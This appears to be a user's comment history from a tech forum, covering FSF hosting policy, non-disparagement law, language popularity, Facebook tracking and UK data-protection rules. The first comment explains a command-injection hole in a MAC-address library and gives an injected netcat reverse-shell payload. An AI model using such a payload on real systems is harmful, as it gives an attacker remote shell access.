parenthephobia
Joined 14 years ago
Joined 14 years ago
The argument to exec is executed in a shell, so it can execute just about anything it likes, such as dialing out to a host under the attacker's control and giving it direct shell access.
e.g.
macaddress.one(";nc 1.2.3.4 4444 –e /bin/sh;", () => {})RMS, who leads the FSF, which owns GNU, thinks that GNU projects should not be hosted on services which encourage users to run proprietary software on their PC, or which don't encourage users to use the FSF's preferred license.
To me, this stance does not seem at all nonsensical.
How will they do that, and on what legal basis?
If. Much, if not most, server software is written under the implicit assumption that it will not be under attack.
In the US at least, courts prefer to use the common meaning of words whenever it's reasonable to do so. If the common meaning doesn't make sense in context, they won't simply fall back on a legal definition, but will look for evidence of what the parties actually intended the words to mean.
In the case of disparagement, several courts have held that the common meaning of "disparage" is what applies to non-disparagement clauses.
https://www.michiganemploymentlawadvisor.com/terminating-the... https://caselaw.findlaw.com/me-supreme-judicial-court/107021... https://caselaw.findlaw.com/ga-court-of-appeals/1448243.html
A sentiment that is harder to sell if people erase all evidence of their mistakes.
According to TIOBE, 1% of programmers are using Go, whilst 23% are using Java or C++.
If that is to be believed, developers do not appear to prefer simple languages. Or, Java and C++ are simple languages. Or, language selection is not based on preference.
> We can all opt out of Facebook.
Can we? What is the practical effect of doing so? Will they stop tracking us on the web? Will they stop gathering data about us via people with whom we are associated?
Facebook is a crowd-sourced global surveillance program from which there is no real opt-out and over which there are no checks and balances because most of the people running it don't even think they're running a surveillance program.
Void Linux uses runit, which was released in 2004, so I guess they agree.
But, receiving, storing, and/or processing personal data without consent is, in most situations, likely to be against the the Privacy and Electronic Communication Regulations and the Data Protection Act. Additionally, information about political affiliation.
The key point in this case is that CA didn't have consent. CA don't dispute this, but say that they believed at the time that they did. It is a defence to show that you "exercised all due diligence" in complying.
ICO will be looking for not only evidence of the actual use of personal data, but also evidence regarding whether and to what extent CA were knowingly or recklessly non-compliant.
In languages where there can be functions with no arguments, if referring to the function without parentheses calls it, it can be inconvenient to get a reference to the function itself.